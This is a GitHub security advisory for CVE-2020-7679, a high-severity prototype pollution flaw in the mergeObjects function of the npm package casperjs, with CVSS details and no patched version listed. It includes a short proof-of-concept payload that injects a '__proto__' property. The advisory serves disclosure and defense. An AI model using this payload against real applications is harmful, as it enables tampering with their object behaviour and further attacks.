Skip to content

Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs

High severity GitHub Reviewed Published May 17, 2021 to the GitHub Advisory Database • Updated Sep 13, 2023

Package

npm casperjs (npm)

Affected versions

<= 1.1.4

Patched versions

None

Description

Overview

casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.

PoC

var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"

References

Published by the National Vulnerability Database Jun 19, 2020
Reviewed May 11, 2021
Published to the GitHub Advisory Database May 17, 2021
Last updated Sep 13, 2023

Severity

High
7.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CVE ID

CVE-2020-7679

GHSA ID

GHSA-vrr3-5r3v-7xfw

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.